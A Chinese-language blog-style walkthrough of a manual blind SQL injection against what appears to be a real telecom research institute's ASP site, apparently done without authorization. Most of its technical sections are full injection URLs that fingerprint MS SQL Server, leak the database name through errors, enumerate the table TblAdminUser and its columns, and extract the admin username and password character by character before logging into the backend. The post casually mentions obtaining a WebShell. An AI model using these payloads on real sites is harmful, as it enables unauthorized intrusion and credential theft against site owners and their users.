一个纯手工打造的完整SQL注入过程

 搜索SQL注入，很多文档是概要原理介绍和个别例句，很难找到一个详细又完整一点的测(入)试(侵)案例。现在共享一份n(n>=9)年前学习和玩转SQL注入的实践实战。虽有的方面已经略显过时，但还有一定学习和参考价值，特保持原汁原味的贴上来！

一、引子

长夜慢慢，无心睡眠……（^_*）

无意中翻到几年前听的一首名为《祖先的阴影》的摇滚，这么长久的历史，混合着许多的罪恶与功绩；这么灿烂的文化， 夹杂着太多的愚昧与文明。美好的，如汉字，中医，诗词曲赋等；糟糕的，如一辈子只会干“杀尽叛贼、占据王位，选好王妃，建造坟堆”四件事的皇帝及官僚制度，小脚，太监及八股文等等。

噢，且慢，八股文——不要言之过早！今天，让我用八股文这一旧瓶，来包装一下IT方面的新酒；把数据库注入这一有几个年头的安全技术，再写一篇略有新意的文章。

二、概要

所谓数据库注入，也就是SQL Injection，就是攻击者把SQL命令插 入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。来自官方的说法是：“当应用程序使用输入内容来构造动态SQL语句以访问数据库时，会发生SQL注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库，这种问题会变得很严重。”在某些表单中，用户输入的内容直接用来构造(或者影响)动态SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时，没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当，使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码，(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果，获得一些敏感的信息或者控制整个服务器，于是SQL注入产生了。其实简单点说，SQL注入的原理就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。

当然，能不能构造、构造什么样的数据库查询代码，就有是菜鸟和高手的区别了；同时我向毛主席保证：我绝不是高手——我基本上连数据库都不会用，所以大伙看了文章后不要问我太多太深的问题，因为我也不知道。

三、检测

查找资料的过程中，被链接到某电信技术研究院网站，看了一下首页代码及链接，用and和or简单测试了一下，没发现什么，在最后快要放弃的时候，发现如下页面有点意思。

1=1（不正常）

1=2（也不正常）
加一个特殊符号，则如下图示。

（返回正常）

（返回异常）
嘿嘿，存在注入，心花怒放!

四、暴库

上面就可以知道该网站后台数据库是MS SQL Server，也可以证实一下（想到一个月前的技术考试了吗）。

(select count(*) from [sysobjects])>=0（返回正常，可见数据库为SQL Server）
探测该网站数据库实例名，我很幸运，竟然通过错误暴出来，请看下图。

SQL Server中DB_NAME 最大值是 NVARCHAR(128)，我提交错误，网站也报错，看红色下划线处和红色长方形里，可见数据库实例名为jstrd。

五、寻表
漫长而痛苦的工作开始了，同时因为在创建一个数据库的同时，系统会自动建立一些系统表，我构造了如下的语句，来探测数据库实例jstrd中的表名。
限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表（SYSOBJECTS）及其相关的字段。
表SYSOBJECTS为数据库内创建的每个对象（约束，规则，表，视图，触发器等）创建一条记录。该表相关字段的含义如下：
SYSOBJECTS.name 对象名，如：表名，视图名。
SYSOBJECTS.id 对象id。
SYSOBJECTS.type 对象类型（p存储过程，v视图，s系统表，u用户表）。

太帅了，返回正确，提交的“系统态”语句是：
http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1
翻译成我们容易识别的“用户态”（以后都用这种形式表示）是：
http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))
< =67)>0 and '1'='1&classid=1

或许各位要懵了，这都是些什么东西啊，乱七八糟的？我笑而不答，谜底将在后面揭开。但事先点一下：
xtype是那张表的一个字段，xtype=char(117) 也就是 xtype='U' 意思是取用户的表。
空格(Space)的ASCII编码是32。
历经近百次的失败后，在如下语句输入时，探测到我认为是存储用户名和密码的一张表（之前也探测到别的表，但我认为对自己没有用。并且要说一下的是当我探测到有TblAd之后，我直觉得加上了TblAdmin；后来发现还没完，有TblAdminUs之后，我直觉得加上了TblAdminUser）。

http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+
CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and
abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1
可见有TblAdminUser这么一张表，我们可以再测试一下，如下图。

and (select count(*) from TblAdminUser)>0

六、探列

各位看到这里，上面的谜底很可能都明白了。什么，还有不明白的！那好，告诉你：网站及后台系统理会我上面所说的“系统态”，不理会“用户态”。你们看看如下两个表。

（部分Unicode编码表）

（部分ASCII编码表）
刚才寻到了表，现在我们的工作是探列了，综合运用上面提到过的知识，加上我的直觉猜测里面应该就有username和password两个列，果然！请看下图。

http://*/show_products.asp?id=22' and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1

http://*/show_products.asp?id=22' and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0)>0 and '1'='1&classid=1

七、结果
冲锋的号角已经响起，胜利在望；可“行百里者，半于九十”，真正要花大半功夫的地方，也在这。

http://*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1
可见username列中，第一个字符是a (ASCII编码为97)，很快，就猜测到了是admin。
判断password列中，第一个字符应该在g之后，如下图示。

http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[TblAdminUser] where  left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1
很快，就猜到了是j，呵呵，有点意思。如下图示。

http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[TblAdminUser] where  left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
历经千辛万苦后，我终于找到了全部密码，竟然是*********
轻松找到后台，登陆，果然正确！如下图示。

八、尾声
 因为这份文档主要侧重数据库手工注入,所以注入成功获得WebShell后的进一步渗透不作介绍。在这里，是我抛出一块破砖，引你们收获更多的良玉。个人感觉，注入能成功，得益于以下三点：
1、Unicode编码和ASCII编码的应用；
2、系统会自动建立的系统表sysobjects的应用；
3、db_name最大长度128的应用，加上一些直觉判断。
整个过程，耗了近一个星期的业余时间，此时，又是一个深夜……
夜色沉沉，睡意浓浓。